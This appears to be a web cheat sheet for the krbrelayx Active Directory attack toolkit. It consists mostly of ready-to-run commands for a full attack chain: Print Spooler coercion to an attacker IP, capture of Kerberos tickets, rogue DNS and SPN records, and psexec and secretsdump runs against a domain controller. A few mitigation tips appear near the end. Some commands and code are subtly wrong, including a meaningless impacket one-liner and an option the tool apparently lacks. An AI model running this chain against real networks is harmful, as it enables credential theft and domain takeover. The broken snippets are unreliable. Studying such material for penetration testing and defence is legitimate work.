krbrelayx
krbrelayx is a comprehensive toolkit for exploiting Kerberos relay attacks and unconstrained delegation vulnerabilities in Active Directory environments. It enables attackers to intercept Kerberos TGTs, manipulate DNS records, and abuse delegation to move laterally and escalate privileges.
Installation
Sezione intitolata “Installation”Clone the repository and install Python dependencies:
git clone https://github.com/dirkjanm/krbrelayx.git
cd krbrelayx
pip install -r requirements.txt
pip install impacket
Impacket is required for LDAP operations and Kerberos handling. Ensure Python 3.6+ is installed.
# Verify installation
python3 krbrelayx.py --help
python3 addspn.py --help
python3 dnstool.py --help
python3 printerbug.py --help
Toolkit Components
Sezione intitolata “Toolkit Components”| Tool | Purpose |
|---|---|
krbrelayx.py | Kerberos relay server; captures TGTs from unconstrained delegation hosts |
addspn.py | Adds/removes Service Principal Names (SPNs) on AD objects |
dnstool.py | Adds, modifies, removes DNS records in AD-integrated DNS zones |
printerbug.py | Triggers Print Spooler RPC authentication coercion |
krbrelayx.py - Kerberos Relay Server
Sezione intitolata “krbrelayx.py - Kerberos Relay Server”The main relay server that captures Kerberos TGT (Ticket Granting Ticket) from unconstrained delegation hosts.
Basic Usage
Sezione intitolata “Basic Usage”# Start relay server on port 88 (default Kerberos port)
python3 krbrelayx.py -aesKey <aes_key> -c <ccache_output>
# Listen on specific interface
python3 krbrelayx.py -ip 192.168.1.10 -aesKey <aes_key>
# Relay to specific target
python3 krbrelayx.py -aesKey <aes_key> -t ldap://dc.example.com
Common Options
Sezione intitolata “Common Options”| Option | Description |
|---|---|
-aesKey <key> | AES encryption key for decrypting captured TGT (from NTLM relay) |
-c <file> | Output ccache file to store captured TGT |
-t <target> | Target service to relay to (ldap://, http://, etc.) |
-ip <address> | Listen on specific IP address |
-p <port> | Listen on specific port (default 88) |
--no-start-server | Don’t start relay server (use with other tools only) |
Example: Capture TGT from Unconstrained Delegation Host
Sezione intitolata “Example: Capture TGT from Unconstrained Delegation Host”# Terminal 1: Start krbrelayx relay server
python3 krbrelayx.py -aesKey 0x1234567890abcdef \
-c captured_tgt.ccache
# Terminal 2: Trigger authentication from unconstrained host
python3 printerbug.py DOMAIN/user:password@target-host 192.168.1.10
# Use captured TGT
export KRB5CCNAME=captured_tgt.ccache
impacket-psexec -k -no-pass domain.com/machine$@dc.example.com
Decryption Key Source
Sezione intitolata “Decryption Key Source”The AES key typically comes from:
- NTLM relay attacks (relayed to LDAP, extract machine account credentials)
- Compromised machine account hash from SAM or NTDS.dit
- Domain computer credentials
# Extract AES key from compromised machine (hex format)
# Machine account password hash can be converted to AES-256 key
python3 -c "from impacket.imap_structs import NTLM_RESPONSE; \
key = bytes.fromhex('1234567890abcdef'); \
print('AES Key:', key.hex())"
addspn.py - SPN Management
Sezione intitolata “addspn.py - SPN Management”Manage Service Principal Names (SPNs) on Active Directory objects. Critical for unconstrained delegation attacks.
Add SPN to Computer Object
Sezione intitolata “Add SPN to Computer Object”# Add SPN to existing computer account
python3 addspn.py -u domain/user:password -t "CN=machine,CN=Computers,DC=domain,DC=com" \
-s "HOST/attacker.domain.com"
# Add multiple SPNs
python3 addspn.py -u domain/user -p password \
-t "CN=target-machine,CN=Computers,DC=domain,DC=com" \
-s "HOST/evil.domain.com" "CIFS/evil.domain.com"
Add Additional DNS Hostnames
Sezione intitolata “Add Additional DNS Hostnames”# Add alternative DNS hostname for SPN resolution
python3 addspn.py -u domain/user:password \
-t "CN=machine,CN=Computers,DC=domain,DC=com" \
--additional "attacker.domain.com"
Remove SPN
Sezione intitolata “Remove SPN”# Remove specific SPN
python3 addspn.py -u domain/user:password \
-t "CN=target-machine,CN=Computers,DC=domain,DC=com" \
-s "HOST/attacker.domain.com" --remove
Common Options
Sezione intitolata “Common Options”| Option | Description |
|---|---|
-u <domain/user> | Credentials (domain/username) |
-p <password> | Password (or use colon in -u) |
-t <dn> | Target object Distinguished Name |
-s <spn> | SPN to add (e.g., HOST/machine.com) |
--additional <dns> | Add to msDS-AdditionalDnsHostName |
--remove | Remove the specified SPN |
dnstool.py - AD-Integrated DNS Manipulation
Sezione intitolata “dnstool.py - AD-Integrated DNS Manipulation”Modify DNS records in Active Directory-integrated DNS zones without elevated privileges.
Add DNS A Record
Sezione intitolata “Add DNS A Record”# Add A record pointing to attacker IP
python3 dnstool.py -u domain/user:password -r attacker.domain.com \
-d 192.168.1.10 -a add
# Add to specific zone
python3 dnstool.py -u domain/user:password -z domain.com \
-r attacker.domain.com -d 192.168.1.10 -a add
Modify DNS Record
Sezione intitolata “Modify DNS Record”# Change A record to new IP
python3 dnstool.py -u domain/user:password -r attacker.domain.com \
-d 192.168.1.20 -a modify
Remove DNS Record
Sezione intitolata “Remove DNS Record”# Delete DNS record
python3 dnstool.py -u domain/user:password -r attacker.domain.com \
-a remove
Common Options
Sezione intitolata “Common Options”| Option | Description |
|---|---|
-u <domain/user> | Credentials (domain/username:password) |
-r <record> | DNS record name (e.g., attacker.domain.com) |
-d <data> | Record data (IP address, CNAME target, etc.) |
-a <action> | Action: add, modify, remove |
-z <zone> | DNS zone (auto-detected if not specified) |
-t <type> | Record type (default: A; also AAAA, CNAME, etc.) |
--dc-ip <ip> | Domain controller IP |
Example: Create Wildcard DNS Entry
Sezione intitolata “Example: Create Wildcard DNS Entry”# Add wildcard DNS record for catching any subdomain
python3 dnstool.py -u domain/admin:password \
-r "*.evil.domain.com" -d 192.168.1.10 -a add
printerbug.py - Printer Spool Service Coercion
Sezione intitolata “printerbug.py - Printer Spool Service Coercion”Trigger authentication from a target host via Print Spooler RPC abuse without any special privileges.
Basic Printer Bug Trigger
Sezione intitolata “Basic Printer Bug Trigger”# Trigger target machine to authenticate to attacker
python3 printerbug.py domain/user:password@target-host attacker-ip
# Example
python3 printerbug.py CORP/jsmith:P@ssw0rd@dc01.corp.local 192.168.1.10
With NTLM Relay
Sezione intitolata “With NTLM Relay”# Terminal 1: Start NTLM relay (Responder or ntlmrelayx)
ntlmrelayx.py -t ldap://dc.corp.local -c "whoami"
# Terminal 2: Trigger authentication via printerbug
python3 printerbug.py CORP/user:pass@target-host attacker-ip
# Terminal 3: Monitor captured authentications
Common Options
Sezione intitolata “Common Options”| Option | Description |
|---|---|
domain/user:pass@host | Target machine (where Spooler is running) |
attacker-ip | IP where target will authenticate back to |
--target-port | RPC endpoint port (default: 445) |
--hashes | LM:NTLM hashes instead of password |
Unconstrained Delegation Attack Workflow
Sezione intitolata “Unconstrained Delegation Attack Workflow”Complete attack chain using krbrelayx tools.
Step 1: Identify Unconstrained Delegation Hosts
Sezione intitolata “Step 1: Identify Unconstrained Delegation Hosts”# Find computers with unconstrained delegation enabled
# Using PowerShell or ldapsearch
ldapsearch -x -D "CN=user,CN=Users,DC=domain,DC=com" \
-w password -H ldap://dc.domain.com \
"(userAccountControl:1.2.840.113556.1.4.803:=524288)" \
cn sAMAccountName msDS-AllowedToDelegateTo
Step 2: Compromise Unconstrained Host
Sezione intitolata “Step 2: Compromise Unconstrained Host”Gain execution on an unconstrained delegation computer (e.g., via lateral movement, phishing, etc.).
# Verify unconstrained delegation
echo $env:COMPUTERNAME
# Machine must have "Trusted for Delegation" enabled
Step 3: Set Up DNS Record
Sezione intitolata “Step 3: Set Up DNS Record”Add DNS record pointing to your attacker machine:
# As low-privileged domain user, add DNS record
python3 dnstool.py -u domain/lowpriv:password \
-r attacker.domain.com -d 192.168.1.10 -a add
Step 4: Start Kerberos Relay Server
Sezione intitolata “Step 4: Start Kerberos Relay Server”# Get machine account AES key (from compromised host or NTLM relay)
python3 krbrelayx.py -aesKey 0x1234567890abcdef... \
-c captured.ccache
Step 5: Trigger Authentication via Printer Bug
Sezione intitolata “Step 5: Trigger Authentication via Printer Bug”# From attacker machine
python3 printerbug.py domain/user:pass@target 192.168.1.10
Step 6: Use Captured TGT
Sezione intitolata “Step 6: Use Captured TGT”# TGT is captured in ccache file
export KRB5CCNAME=captured.ccache
# Use for pass-the-ticket attacks
impacket-psexec -k -no-pass domain.com/DC$@dc.domain.com
impacket-secretsdump -k -no-pass domain.com/DC$@dc.domain.com
Resource-Based Constrained Delegation (RBCD)
Sezione intitolata “Resource-Based Constrained Delegation (RBCD)”Combine krbrelayx with RBCD attacks for machines without unconstrained delegation.
Add Machine to msDS-AllowedToActOnBehalfOfOtherIdentity
Sezione intitolata “Add Machine to msDS-AllowedToActOnBehalfOfOtherIdentity”# After compromising a machine, add attacker machine to RBCD
python3 addspn.py -u domain/admin:pass \
-t "CN=target-machine,CN=Computers,DC=domain,DC=com" \
--rbcd-set "CN=attacker-machine,CN=Computers,DC=domain,DC=com"
Request Service Ticket via RBCD
Sezione intitolata “Request Service Ticket via RBCD”# Use delegated service ticket with krbrelayx
# Combine with impacket tools for lateral movement
Troubleshooting
Sezione intitolata “Troubleshooting”| Issue | Solution |
|---|---|
Port 88 already in use | Change relay port with -p, or stop Kerberos service |
AES key mismatch | Verify AES key is from target machine account |
SPN not resolving | Confirm DNS record exists: nslookup attacker.domain.com |
TGT not captured | Ensure unconstrained host actually authenticates; check firewall |
LDAP bind failure | Verify credentials and domain controller reachability |
ImportError: impacket | Install impacket: pip install impacket |
Enable Debug Logging
Sezione intitolata “Enable Debug Logging”# Verbose output
python3 krbrelayx.py -aesKey <key> -c output.ccache -v
# Check Kerberos events on DC
wevtutil qe Security /q:"*[System[(EventID=4770 or EventID=4769)]]"
Best Practices
Sezione intitolata “Best Practices”- Cleanup: Remove added SPNs and DNS records after exploitation
- Monitoring: Watch for unusual Kerberos events (TGT issuance to unconstrained hosts)
- Segmentation: Disable unconstrained delegation; use constrained delegation with specific services
- DNS Protection: Secure AD-integrated DNS (DNSSEC, dynamic update restrictions)
- Logging: Enable Kerberos audit logging on domain controllers
Cleanup After Attack
Sezione intitolata “Cleanup After Attack”# Remove added DNS records
python3 dnstool.py -u domain/admin:pass -r attacker.domain.com -a remove
# Remove added SPNs
python3 addspn.py -u domain/admin:pass \
-t "CN=machine,CN=Computers,DC=domain,DC=com" \
-s "HOST/attacker.domain.com" --remove
# Clear ccache
rm -f captured.ccache
Related Tools
Sezione intitolata “Related Tools”| Tool | Purpose |
|---|---|
| Rubeus | Windows Kerberos toolkit (ticket manipulation, delegation abuse) |
| Impacket | Python AD/Kerberos library (psexec, secretsdump, GetUserSPNs) |
| Coercer | Automatic authentication coercion (SpoolService, WebClient, etc.) |
| PetitPotam | NTLM relay via MS-EFSRPC abuse |
| Responder | LLMNR/mDNS/NBNS poisoning and NTLM relay |
| ntlmrelayx | Advanced NTLM relay (Impacket-based) |